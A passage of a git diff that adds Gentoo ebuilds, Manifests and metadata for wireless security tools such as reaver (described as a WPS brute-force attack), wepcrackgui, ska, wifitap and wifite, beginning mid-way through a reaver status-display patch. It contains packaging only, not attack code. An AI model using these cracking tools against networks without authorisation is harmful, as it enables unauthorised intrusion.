++	{
++		max_seconds = attempts_remaining * average;
++		if(max_seconds > 60)
++		{
++			max_minutes = max_seconds / 60;
++			max_seconds -= max_minutes * 60;
++		}
++		if(max_minutes > 60)
++		{
++			max_hours = max_minutes / 60;
++			max_minutes -= max_hours * 60;
++		}
++
++		if(max_seconds < 0 || max_minutes < 0 || max_hours < 0)
++		{
++			free(max_time);
++			return NULL;
++		}
++
++		sprintf(hours, "%d", max_hours);
++		sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes);
++		sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds);
++
++		sprintf(max_time, "%s:%s:%s", hours, minutes, seconds);
++	}
++	else
++	{
++		free(max_time);
++		return NULL;
++	}
++
++	return max_time;
++}
++
+ /* Displays the status and rate of cracking */
+ void display_status(float pin_count, time_t start_time)
+ {
+ 	float percentage = 0;
+ 	int attempts = 0, average = 0;
++	int attempts_remaining = 0;
+ 	time_t now = 0, diff = 0;
+ 	struct tm *tm_p = NULL;
+-        char time_s[256] = { 0 };
++        char time_s[256] = { 0 }, *max_time;
+ 
+ 	if(get_key_status() == KEY1_WIP)
+ 	{
+ 		attempts = get_p1_index() + get_p2_index();
++		attempts_remaining = 11000 - attempts;
+ 	}
+ 	/* 
+ 	 * If we've found the first half of the key, then the entire key1 keyspace
+@@ -305,10 +352,12 @@
+ 	else if(get_key_status() == KEY2_WIP)
+ 	{
+ 		attempts = P1_SIZE + get_p2_index();
++		attempts_remaining = 11000 - attempts;
+ 	}
+ 	else if(get_key_status() == KEY_DONE)
+ 	{
+ 		attempts = P1_SIZE + P2_SIZE;
++		attempts_remaining = 0;
+ 	}
+ 
+ 	percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100);
+@@ -335,7 +384,12 @@
+ 		average = 0;
+ 	}
+ 
++	max_time = get_max_time_remaining(average, attempts_remaining);
++
+ 	cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average);
++	cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining);
+ 
++	free(max_time);
++
+ 	return;
+ }
\ No newline at end of file
diff --git a/net-wireless/reaver/metadata.xml b/net-wireless/reaver/metadata.xml
new file mode 100644
index 00000000..a42c02e9
--- /dev/null
+++ b/net-wireless/reaver/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<pkgmetadata>
+<maintainer>
+	<email>oleg@kaa.org.ua</email>
+	<name>Oleg Kravchenko</name>
+</maintainer>
+<maintainer>
+	<email>maksbotan@gentoo.org</email>
+	<name>Maxim Koltsov</name>
+</maintainer>
+</pkgmetadata>
diff --git a/net-wireless/reaver/reaver-1.4-r1.ebuild b/net-wireless/reaver/reaver-1.4-r1.ebuild
new file mode 100644
index 00000000..dd0eb34f
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+		dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+	epatch "${FILESDIR}"/000[1-4]*.patch
+}
+
+src_install() {
+	dobin wash reaver
+
+	insinto "/etc/reaver"
+	doins reaver.db
+
+	doman ../docs/reaver.1.gz
+	dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/reaver/reaver-1.4-r2.ebuild b/net-wireless/reaver/reaver-1.4-r2.ebuild
new file mode 100644
index 00000000..71fa4ad9
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r2.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+		dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+	epatch "${FILESDIR}"/000[1-4]*.patch
+	#http://code.google.com/p/reaver-wps/issues/detail?id=420
+	epatch "${FILESDIR}"/0005*.patch
+}
+
+src_install() {
+	dobin wash reaver
+
+	insinto "/etc/reaver"
+	doins reaver.db
+
+	doman ../docs/reaver.1.gz
+	dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/reaver/reaver-1.4-r3.ebuild b/net-wireless/reaver/reaver-1.4-r3.ebuild
new file mode 100644
index 00000000..c7fcf49a
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r3.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+		dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+	epatch "${FILESDIR}"/000[1-4]*.patch
+	#http://code.google.com/p/reaver-wps/issues/detail?id=420
+	epatch "${FILESDIR}"/0005-soreau-show-status-r2.patch
+}
+
+src_install() {
+	dobin wash reaver
+
+	insinto "/etc/reaver"
+	doins reaver.db
+
+	doman ../docs/reaver.1.gz
+	dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/rfidtool/Manifest b/net-wireless/rfidtool/Manifest
new file mode 100644
index 00000000..e784b407
--- /dev/null
+++ b/net-wireless/rfidtool/Manifest
@@ -0,0 +1,2 @@
+DIST rfidtool-v0.01.tar.bz2 10125 RMD160 39ab91605c3438b276a8999a7a7ef3dbae5e5544 SHA1 c60185355c6f42972aff86662c4be55a91b97dd6 SHA256 e7e61aa434634121323d0a02435c09b37e0bddab9dd517d4fdfeb1fcb018e5f7
+EBUILD rfidtool-0.01.ebuild 568 RMD160 b17c684f7ad5a1687ab2e83d5f6f965a41a1ba1c SHA1 7c16e0d424fefbce4152215e949ca0ed1636ed34 SHA256 33788a745b376144f24dc039e2061205d6a0ded725a6b6b2efadc97a5230c474
diff --git a/net-wireless/rfidtool/rfidtool-0.01.ebuild b/net-wireless/rfidtool/rfidtool-0.01.ebuild
new file mode 100644
index 00000000..ce66d2fe
--- /dev/null
+++ b/net-wireless/rfidtool/rfidtool-0.01.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="command line rfid interface"
+HOMEPAGE="http://www.bindshell.net/tools/rfidtool"
+SRC_URI="http://www.bindshell.net/tools/rfidtool/$PN-v$PV.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+S="${WORKDIR}"/$PN-v$PV
+
+src_compile() {
+	gcc $CFLAGS main.c rfid.c -o rfidtool || die "compile failed"
+}
+
+src_install() {
+	dobin rfidtool || die "install failed"
+	dodoc README || die "doc install failed"
+}
diff --git a/net-wireless/sdrsharp/ChangeLog b/net-wireless/sdrsharp/ChangeLog
new file mode 100644
index 00000000..d3fa3b78
--- /dev/null
+++ b/net-wireless/sdrsharp/ChangeLog
@@ -0,0 +1,12 @@
+# ChangeLog for net-wireless/sdrsharp
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/ChangeLog,v 1.2 2012/09/10 06:11:56 zerochaos Exp $
+
+  10 Sep 2012; Rick Farina <zerochaos@gentoo.org> sdrsharp-9999.ebuild:
+  fixed incorrect license thanks to chithanh for noticing
+
+*sdrsharp-9999 (10 Sep 2012)
+
+  10 Sep 2012; Rick Farina <zerochaos@gentoo.org> +files/sdrsharp,
+  +metadata.xml, +sdrsharp-9999.ebuild:
+  initial import of sdrsharp
diff --git a/net-wireless/sdrsharp/Manifest b/net-wireless/sdrsharp/Manifest
new file mode 100644
index 00000000..368ad8ae
--- /dev/null
+++ b/net-wireless/sdrsharp/Manifest
@@ -0,0 +1,4 @@
+AUX sdrsharp 52 SHA256 db62034968b056410d8b90b3e77325cf869529d09535c549b403586905a4fee4 SHA512 ba371fb47ee0fc5f5dc912879631b0623ed0c6f3386e903da1e23320030e882ad677b098bd6ab640cdca19db474035fe65afd094e9a37725c66bc74c3478ca28 WHIRLPOOL b2d7c4251fa7324100982b7c6d35806ca536bc22d42129e6848dffd2529d0175b19cd24900b9b167f97ba9802b30c2a98592936ed8a76eb9f494b01c57ad8497
+EBUILD sdrsharp-9999.ebuild 1098 SHA256 779310b2e2af7b6ff80be2373ee118fb20ed2c3e3936b1913e99ed03771f52af SHA512 75f79986595fbf8acd3890fda4574d7c47be96bbb92c764c4d0d934ffbec7f856f0103f16278b3917c236a9f721acea95dcb0af661f6ddfc07fb5cbc6d0dd0d8 WHIRLPOOL c62076760e12da2cce1947372903e34b03b5c9b0edadb9528b7afad38b63cd026879132b615e148c23fe853a532a915eb9b95ca39f28cdedede78c65cfd8c4c2
+MISC ChangeLog 515 SHA256 16b73205e3d9a15415930ae273ac7dfea35c13d8e23613f966b13b0bcce03cdb SHA512 88264237fc38f7ec34ffdbc3e0c22c0f691463bd8f56561fc6d03d9ad9c21efb83b1c43a3902dda602bb3034b826410e5eccd8e2c3f7fd99778afb022219a2a0 WHIRLPOOL 9b7ad2565a3206929d879b20eb663bd063c9c68e1d5df143ae8ecf2a724e8e4a5b473480b6521bc999f3ea3b5d610806bc652aca85a3b161f0d66d65c928cbaf
+MISC metadata.xml 296 SHA256 5f05908fd92afd7e7bbbc1eca7a7251a783f381fd6fffbde25dd8514d27a0fc2 SHA512 b35a8935028bb79974ce95950ccff8126cd6cae56babbf9f4e78057addc7fd46e88c360427a3f1034d4789b2758de7382eaeb721b676b9f2d07bdeadbeae01cc WHIRLPOOL cce56133bbed06d2abf31898d7cd4b334bc4343ba64fa1e5cf96e7fe9c0303fe3ca5381b9d731086af49f8ea978462ffd73b7459982302eb6fde8edcb89648cf
diff --git a/net-wireless/sdrsharp/files/sdrsharp b/net-wireless/sdrsharp/files/sdrsharp
new file mode 100644
index 00000000..c7956895
--- /dev/null
+++ b/net-wireless/sdrsharp/files/sdrsharp
@@ -0,0 +1,2 @@
+#!/bin/sh
+mono /usr/GETLIBDIR/sdrsharp/SDRSharp.exe
diff --git a/net-wireless/sdrsharp/metadata.xml b/net-wireless/sdrsharp/metadata.xml
new file mode 100644
index 00000000..50b2373a
--- /dev/null
+++ b/net-wireless/sdrsharp/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>radio</herd>
+<maintainer>
+	<email>zerochaos@gentoo.org</email>
+	<name>Rick Farina</name>
+</maintainer>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
+
diff --git a/net-wireless/sdrsharp/sdrsharp-9999.ebuild b/net-wireless/sdrsharp/sdrsharp-9999.ebuild
new file mode 100644
index 00000000..daceb459
--- /dev/null
+++ b/net-wireless/sdrsharp/sdrsharp-9999.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/sdrsharp-9999.ebuild,v 1.2 2012/09/10 06:11:56 zerochaos Exp $
+
+EAPI=4
+
+inherit subversion
+
+DESCRIPTION="simple, intuitive, small and fast DSP application for SDR"
+HOMEPAGE="http://sdrsharp.com/"
+ESVN_REPO_URI="https://subversion.assembla.com/svn/sdrsharp/trunk"
+
+LICENSE="MIT MS-RSL"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+#The MS-RSL license forbid modification and redistribution
+RESTRICT="mirror bindist"
+
+DEPEND="dev-lang/mono
+	media-libs/portaudio
+	net-wireless/rtl-sdr"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+	xbuild /t:Rebuild /p:Configuration=Release SDRSharp.sln
+}
+
+src_install() {
+	cd "${S}"/Release
+
+	#remove windows only stuff
+	sed -i -e "/FUNcube/d" SDRSharp.exe.config
+	sed -i -e "/SoftRock/d" SDRSharp.exe.config
+	rm -f SDRSharp.FUNcube.dll SDRSharp.SoftRock.dll
+
+	#install
+	insinto /usr/$(get_libdir)/${PN}
+	doins SDRSharp.exe* *.dll
+	dobin "${FILESDIR}"/sdrsharp
+	sed -i "s#GETLIBDIR#$(get_libdir)#" "${ED}"/usr/bin/sdrsharp
+}
diff --git a/net-wireless/ska/Manifest b/net-wireless/ska/Manifest
new file mode 100644
index 00000000..e2de8563
--- /dev/null
+++ b/net-wireless/ska/Manifest
@@ -0,0 +1,2 @@
+DIST ska-0.2.tar.bz2 13201 RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 SHA1 94a0a1069b5179e9b3017e54d8ae2b157c1bb9bb SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165
+EBUILD ska-0.2.ebuild 478 RMD160 92ae16f5b32db603631462fb078d07be44b49e86 SHA1 4b48fdf5ee1ae21b9b06c185c7a51494e9b0e50c SHA256 449d1fafee1e4af0040ba1bb9a0a986a226e4704d2779a6135ba59f39f5879e7
diff --git a/net-wireless/ska/files/digest-ska-0.2 b/net-wireless/ska/files/digest-ska-0.2
new file mode 100644
index 00000000..41941f52
--- /dev/null
+++ b/net-wireless/ska/files/digest-ska-0.2
@@ -0,0 +1,3 @@
+MD5 6e1a6708dca383b28b7de5052e4a8dc9 ska-0.2.tar.bz2 13201
+RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 ska-0.2.tar.bz2 13201
+SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165 ska-0.2.tar.bz2 13201
diff --git a/net-wireless/ska/ska-0.2.ebuild b/net-wireless/ska/ska-0.2.ebuild
new file mode 100644
index 00000000..bd1bc36f
--- /dev/null
+++ b/net-wireless/ska/ska-0.2.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+DESCRIPTION="Fake Shared Key Authentication"
+HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/"
+SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND=""
+
+src_compile() {
+	gcc $CFLAGS -o ska ska.c
+}
+
+src_install() {
+	dobin ska || die "install failed"
+	dodoc README
+}
diff --git a/net-wireless/virtualradar-bin/Manifest b/net-wireless/virtualradar-bin/Manifest
new file mode 100644
index 00000000..1889881b
--- /dev/null
+++ b/net-wireless/virtualradar-bin/Manifest
@@ -0,0 +1,5 @@
+AUX virtualradar 54 SHA256 5fd9d4dccd410ac4091ea48ab0cd7b2ae34627d8b96b25748cf1579ef1d49755 SHA512 57c5064cd8e58659a942523f76796ffa5ae38d88ea7aea97d0858a2cc0fabe6504a77fc342ee5e5a20f1265136934ab9634dbaa39f6048ce50e722d37dd26382 WHIRLPOOL bbb940f264ffaf91045421dce1e32d6f0bbc717c178ee92efb20d056472f75b66bcd08292458bf4ec0db48364116f4e39f259e7c1d382dac9b931e6a24872a6d
+DIST VirtualRadar.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf
+DIST virtualradar-bin-1.0.5.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf
+EBUILD virtualradar-bin-1.0.5.ebuild 584 SHA256 465f66d43284fe1e8440f70f54233cf47605bd5bf07eab22ba4be783b0cc2833 SHA512 e2c43aaaa6b9499ef0f91f2b092e7be7d3c7988856b5320462d8188d1d682c67bc1e64c07ed8dc12eeed53d98219f9d49e40a198e1594a57134b126c3efff59b WHIRLPOOL 02b1b0149341dde91a755921aca61aaa4494f3e2da693fb8cd89ec3ce7bdbbaedeeb87ad932aa999de46b7ef3b021dc3c71ce8ff5df8cf7763f4da0b403d31b0
+EBUILD virtualradar-bin-9999.ebuild 507 SHA256 bf28e88b46e5706d147a50660d3ea55024880ec9389a40553d75ce56376c622f SHA512 4e2f49b920c1f9c3acbf221a43bd7db2c68ea77de79c409da243d836d7cef04354444bf7ef290402de409b05a5459d341949bb7bcd3b6220860843f890846056 WHIRLPOOL 238fa244e3631acf20080e9afda5c2ff193aaa7ae11c86b2f00b2f550cc0b48821d1b7c3930040fda84635d126ec0bd791278621b26a310a337728b1aaaa6983
diff --git a/net-wireless/virtualradar-bin/files/virtualradar b/net-wireless/virtualradar-bin/files/virtualradar
new file mode 100644
index 00000000..9cb36031
--- /dev/null
+++ b/net-wireless/virtualradar-bin/files/virtualradar
@@ -0,0 +1,2 @@
+#!/bin/sh
+mono /opt/virtualradar-bin/VirtualRadar.exe
diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild
new file mode 100644
index 00000000..514a011b
--- /dev/null
+++ b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Open-source .NET application for ads-b mapping"
+HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx"
+#SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz"
+SRC_URI="http://dev.gentoo.org/~zerochaos/distfiles/${P}.tar.gz"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}
+	dev-lang/mono"
+
+S="${WORKDIR}"
+
+src_install() {
+	insinto /opt/${PN}
+	doins *
+	dobin "${FILESDIR}"/virtualradar
+}
diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild
new file mode 100644
index 00000000..1871bf93
--- /dev/null
+++ b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Open-source .NET application for ads-b mapping"
+HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx"
+SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz"
+
+LICENSE=""
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}
+	dev-lang/mono"
+
+S="${WORKDIR}"
+
+src_install() {
+	insinto /opt/${PN}
+	doins *
+	dobin "${FILESDIR}"/virtualradar
+}
diff --git a/net-wireless/wepcrackgui/Manifest b/net-wireless/wepcrackgui/Manifest
new file mode 100644
index 00000000..16b9584a
--- /dev/null
+++ b/net-wireless/wepcrackgui/Manifest
@@ -0,0 +1 @@
+EBUILD wepcrackgui-9999.ebuild 1765 RMD160 fe40f94ca8f59c92fc341a3da27027ab36102ce0 SHA1 6545ecddb4940a76363e40162da9bce86e742300 SHA256 2ec4be7f71c474f40257f87e69d46fc398815bcfe2a4b6ba7ee8440e23576f31
diff --git a/net-wireless/wepcrackgui/wepcrackgui-9999.ebuild b/net-wireless/wepcrackgui/wepcrackgui-9999.ebuild
new file mode 100644
index 00000000..509bce09
--- /dev/null
+++ b/net-wireless/wepcrackgui/wepcrackgui-9999.ebuild
@@ -0,0 +1,67 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit git mono multilib
+
+DESCRIPTION="A GUI for aircrack-ng written in C#"
+HOMEPAGE="http://sourceforge.net/projects/wepcrackgui/"
+SRC_URI=""
+EGIT_REPO_URI="git://wepcrackgui.git.sourceforge.net/gitroot/wepcrackgui/wepcrackgui"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE="debug gtk qt4"
+
+DEPEND="dev-lang/mono
+		gtk? ( dev-dotnet/gtk-sharp )
+		qt4? ( kde-base/kdebindings-csharp )"
+RDEPEND="${DEPEND}
+		net-wireless/aircrack-ng
+		net-wireless/mdk"
+
+src_configure() {
+	local _conf
+	if use debug ; then
+		_conf=DEBUG
+	else
+		_conf=RELEASE
+	fi
+	echo $_conf >> _conf
+	./configure --prefix=/usr --config=$_conf
+}
+
+src_install() {
+	local _rls
+	if [[ $(cat _conf) == RELEASE ]]; then
+		_rls=Release
+	else
+		_rls=Debug
+	fi
+	insinto /usr/$(get_libdir)/${PN}/
+	doins WepCrack/bin/$_rls/Unbuffer.exe || die
+	doins WepCrack/bin/$_rls/TestRun.exe || die
+	doins WepCrack/bin/$_rls/WepCrack.dll || die
+	doins WepCrack/bin/$_rls/WepCrackInterfaces.dll || die
+	if use gtk ; then
+		doins GWepCrackGui/bin/$_rls/GWepCrackGui.exe || die
+		doins GWepCrackGui/bin/$_rls/WepCrackGtk.dll || die
+		sed -i "s|./|/usr/$(get_libdir)/${PN}/|" GWepCrackGui/gwepcrack || die
+		dobin GWepCrackGui/gwepcrack || die
+	fi
+	if use qt4 ; then
+		doins QWepCrackGui/bin/$_rls/QWepCrackGui.exe || die
+		doins QWepCrackGui/bin/$_rls/WepCrackQt.dll || die
+		sed -i "s|./|/usr/$(get_libdir)/${PN}/|" QWepCrackGui/qwepcrack || die
+		dobin QWepCrackGui/qwepcrack || die
+	fi
+	insinto /usr/share/${PN}/
+	doins WepCrack/SSID.txt || die
+	doins WepCrack/oui.txt || die
+	insinto /usr/share/${PN}/wordlists
+	doins WepCrack/wordlists/password.lst || die
+	dodoc TODO README || die
+}
diff --git a/net-wireless/wifitap/Manifest b/net-wireless/wifitap/Manifest
new file mode 100644
index 00000000..746a2a48
--- /dev/null
+++ b/net-wireless/wifitap/Manifest
@@ -0,0 +1,2 @@
+DIST wifitap-0.4.0.tgz 110612 RMD160 808e709050a92cf88f73ca7c79700e9f8bf776fb SHA1 54d605c021192fb4b1b34f0b37b95b7c8fe4df71 SHA256 5029b4b80e66844e6109ee9840e70a90e453bd4e5169d9e903eaef599d15162e
+EBUILD wifitap-0.4.0-r4.ebuild 976 RMD160 65bb71232ad5c817601118e23646fd1e49dc3343 SHA1 2ecc24568b9ce7288fa4bf8b017aa3356859a594 SHA256 cce9376a34979a384c889a04a540951871cbb338175251286f5a678ca7efeb01
diff --git a/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild
new file mode 100644
index 00000000..9894af10
--- /dev/null
+++ b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/wifitap/wifitap-0.3.7.ebuild,v 1.1.1.1 2006/03/29 19:41:59 grimmlin Exp $
+
+inherit python
+
+DESCRIPTION="A wireless tool to do direct connection to client without passing through an AP"
+HOMEPAGE="http://sid.rstack.org/index.php/Wifitap_EN"
+SRC_URI="http://sid.rstack.org/code/${PN}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="<net-analyzer/scapy-2.0
+	dev-python/gnuplot-py
+	dev-python/pyx"
+
+S=${WORKDIR}/${PN}
+
+src_install() {
+	exeinto /usr/bin
+	newexe wifitap.py wifitap
+	newexe wifidns.py wifidns
+	newexe wifiping.py wifiping
+
+	# also install scapy as a importable python module
+	insinto /usr/$(get_libdir)/python$(python_get_version)/site-packages
+	rm scapy.py
+	doins *.py
+
+	dodoc AUTHORS README Changelog BUGS TODO
+}
+
+pkg_postinst() {
+	python_mod_optimize
+}
+
+pkg_postrm() {
+	python_mod_cleanup
+}
diff --git a/net-wireless/wifite/Manifest b/net-wireless/wifite/Manifest
new file mode 100644
index 00000000..4a030b89
--- /dev/null
+++ b/net-wireless/wifite/Manifest
@@ -0,0 +1,10 @@
+AUX wifite-2-noupgrade.patch 377 SHA256 0cc3912634760259a608b15e896464687edd2bca5504be3243cb594be09135ff SHA512 9d07d69bb4bceeae99bf23994473ab26a26a70df16a79cf3f7bf2378754ababf49de90052e30555aeec3c5afa968e605b8fd742f86df36853d3c0d49fdd464c5 WHIRLPOOL 064435f668df2c0de39725b608e2dc94bcb1b94ce4363e97c5fc06aeaf4cc9fe858ada72b69ac603cf3e5a2c84e17df38c06b4a82d9f0ae6423567f031b0c7ca
+AUX wifite-noupgrade.patch 1087 SHA256 7f304ff8dc7f7ab9e6dcf366f457d7ea15c58db2e5e398ea9297ba440a6b0a66 SHA512 343680facbd303a7e5ea154fa734d2e58bfab2ab26e0a618b469051cd34b946675f9b9ab8aa9a869a439394b1016f5da1a4282f5ef7663b8be0d9b3ef8a6ab6e WHIRLPOOL b6270b25cca0a0f1a72ab6fa51a1065b740975db1333653a2c39dba5b7e2d4c50931c20534eddf304fbabc0437594b2cb35f15b6a13128853e5742a975762930
+DIST wifite-0.84.py 119239 SHA256 02357c416552cb3fce408f3ca249094e3fc1c95f232b3a8082f197274f6081d7
+DIST wifite-2.0_beta_p10.py 94591 SHA256 eaeb3ea3059478ed0d52e6522a6ca1d5364313390f5072dc66d05c0196e7b38e
+DIST wifite-2.85.py 98589 SHA256 fe0c7b1d40c2614bcf44e0d353d8d6d6faf85c20b29a3773a3bd9e239c25013d SHA512 a36417a04f9cbfb5bcafa245827a62576cc96c46c2acb971d6782e9782cc239b2e4bec595bbfe170ee89d3d9fef8072f3e0c0344452b9c22e8012cb9166adfb3 WHIRLPOOL f3cc27a14f9366b5301e6ecfcfd11b391717075b702beb6eb0f5738f1ab26f17f1dde513c4d1d40660997c73a702b3d1a9669cc1fe1409285947e34ba0ba85da
+EBUILD wifite-0.84.ebuild 885 SHA256 ce845cc6d73a528cb6868ba8a759616ebdd01027e3c89b71a5cf399f4d779882 SHA512 b71cb7dfceb5d9410b4b110d39c645d51586375b719d02114549cf05e82930eb365779a5605fbb1a147625902df42edd4425416042a0abf75e73b0c4f9c07204 WHIRLPOOL d229a41d787a663c00f2a0f48ac5add9eb00d62cc84cc2080adaaf1ccb1d0e113d8acc76bd3c7826f6fe9203bb28b8d209c2b70674732be40116fc921ee28298
+EBUILD wifite-2.0_beta_p10.ebuild 964 SHA256 7f4ceebf07eeae58ec5f2b5597b2a6169b1ba294e7878cef454d96f3ea8c04a9 SHA512 fa7227f6dd889b900992ef180b495f5375530e2923f99a263bc8bc2c1a31a609eb834774e5409250ec1d261f66917a3ed74d12b81c7e571c2be6dc6a369b7057 WHIRLPOOL 40e030258f9c2e15347182ec80d4fe9cf683b6813a4558f0f5981287c515dc2107aa7a59b8d599a394d1af489b82b13b28b75136a174ef60caf9b721b52ce418
